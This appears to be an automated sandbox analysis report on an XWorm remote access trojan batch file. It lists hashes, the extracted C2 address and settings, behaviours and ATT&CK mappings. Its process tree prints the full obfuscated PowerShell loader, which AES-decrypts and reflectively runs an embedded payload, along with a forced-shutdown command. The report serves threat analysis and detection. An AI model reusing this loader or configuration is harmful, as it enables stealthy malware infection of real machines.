xworm | ddfddc84dc9e7089f3340846addcc1e9e4f2165348169599ca9814fb0013b739

Reason

Machine shutdown

General

Target

kick.bat
Size

62KB
MD5

26740c297c3139bb704490f2d5e965cb
SHA1

817f17ac57829b3aefaa468cd6e60a4de88a17cc
SHA256

ddfddc84dc9e7089f3340846addcc1e9e4f2165348169599ca9814fb0013b739
SHA512

f99160e59509b41d29b42978fa9a54e2e58f81aba829c8a38e434b785ed25911cbb36232e37bcd12daa670d82ed338fd7ae1ef5b9227cbcf89a000fc7abf4dd5
SSDEEP

1536:qs6V9eEWZxjq5asZkbmEKUgXEXzICKUnFx7d8u5V:qs6V0E12Hff7d8MV

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

45.43.2.16:7232

Mutex

tUKgEhm8VSa2IUJZ

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1620-21-0x0000024B57CB0000-0x0000024B57CBE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	1620	powershell.exe
31	1620	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1620	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_f58721d4.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_f58721d4.cmd	powershell.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "235"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1620	powershell.exe
1620	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeShutdownPrivilege	4884	shutdown.exe
Token: SeRemoteShutdownPrivilege	4884	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2884	LogonUI.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 4652	2404	cmd.exe	84
PID 2404 wrote to memory of 4652	2404	cmd.exe	84
PID 4652 wrote to memory of 1620	4652	cmd.exe	87
PID 4652 wrote to memory of 1620	4652	cmd.exe	87
PID 1620 wrote to memory of 4884	1620	powershell.exe	100
PID 1620 wrote to memory of 4884	1620	powershell.exe	100

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\kick.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\kick.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskZGxxZ3ggPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGRscWd4KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRkbHFneCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRkbHFneCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkZGxxZ3giIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gcGxpaWYoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJzBNU2lvTlFNRjJUVXpiWXZGZElxaVBLS2VBUUNyTFRlUUlUSmhkQzJGNG89Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2grK0Vkck1yUzhFOE5sM2tvWUxrWXc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24genRneGooJHBhcmFtX3Zhcil7CSRwYmJpeD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkYXJuaHQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkdGdxZmk9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkcGJiaXgsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHRncWZpLkNvcHlUbygkYXJuaHQpOwkkdGdxZmkuRGlzcG9zZSgpOwkkcGJiaXguRGlzcG9zZSgpOwkkYXJuaHQuRGlzcG9zZSgpOwkkYXJuaHQuVG9BcnJheSgpO31mdW5jdGlvbiB3dXJidCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHRocXVpPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHpmb2t6PSR0aHF1aS5FbnRyeVBvaW50OwkkemZva3ouSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGRscWd4OyRsdGpoZj1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGRscWd4KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbXlmIGluICRsdGpoZikgewlpZiAoJG15Zi5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHRhZnZpPSRteWYuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JG5zcnR5PVtzdHJpbmdbXV0kdGFmdmkuU3BsaXQoJ1wnKTskbWZ5ZHU9enRneGogKHBsaWlmIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG5zcnR5WzBdKSkpOyR3Y2J3ZD16dGd4aiAocGxpaWYgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbnNydHlbMV0pKSk7d3VyYnQgJG1meWR1ICRudWxsO3d1cmJ0ICR3Y2J3ZCAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Windows\SYSTEM32\shutdown.exe
      shutdown.exe /f /s /t 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4884

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39b6855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0iw3g5j1.53y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
62KB

MD5
26740c297c3139bb704490f2d5e965cb

SHA1
817f17ac57829b3aefaa468cd6e60a4de88a17cc

SHA256
ddfddc84dc9e7089f3340846addcc1e9e4f2165348169599ca9814fb0013b739

SHA512
f99160e59509b41d29b42978fa9a54e2e58f81aba829c8a38e434b785ed25911cbb36232e37bcd12daa670d82ed338fd7ae1ef5b9227cbcf89a000fc7abf4dd5

Download Submit
memory/1620-19-0x0000024B578D0000-0x0000024B578DC000-memory.dmp

Filesize
48KB

Download
memory/1620-18-0x0000024B55810000-0x0000024B55818000-memory.dmp

Filesize
32KB

Download
memory/1620-14-0x00007FF9BCA30000-0x00007FF9BD4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-12-0x0000024B578E0000-0x0000024B57902000-memory.dmp

Filesize
136KB

Download
memory/1620-16-0x00007FF9BCA30000-0x00007FF9BD4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-17-0x00007FF9BCA30000-0x00007FF9BD4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-2-0x00007FF9BCA33000-0x00007FF9BCA35000-memory.dmp

Filesize
8KB

Download
memory/1620-13-0x00007FF9BCA30000-0x00007FF9BD4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-21-0x0000024B57CB0000-0x0000024B57CBE000-memory.dmp

Filesize
56KB

Download
memory/1620-22-0x00007FF9BCA33000-0x00007FF9BCA35000-memory.dmp

Filesize
8KB

Download
memory/1620-23-0x00007FF9BCA30000-0x00007FF9BD4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-24-0x00007FF9BCA30000-0x00007FF9BD4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-25-0x0000024B57E90000-0x0000024B57E9C000-memory.dmp

Filesize
48KB

Download
memory/1620-26-0x00007FF9BCA30000-0x00007FF9BD4F1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

Errors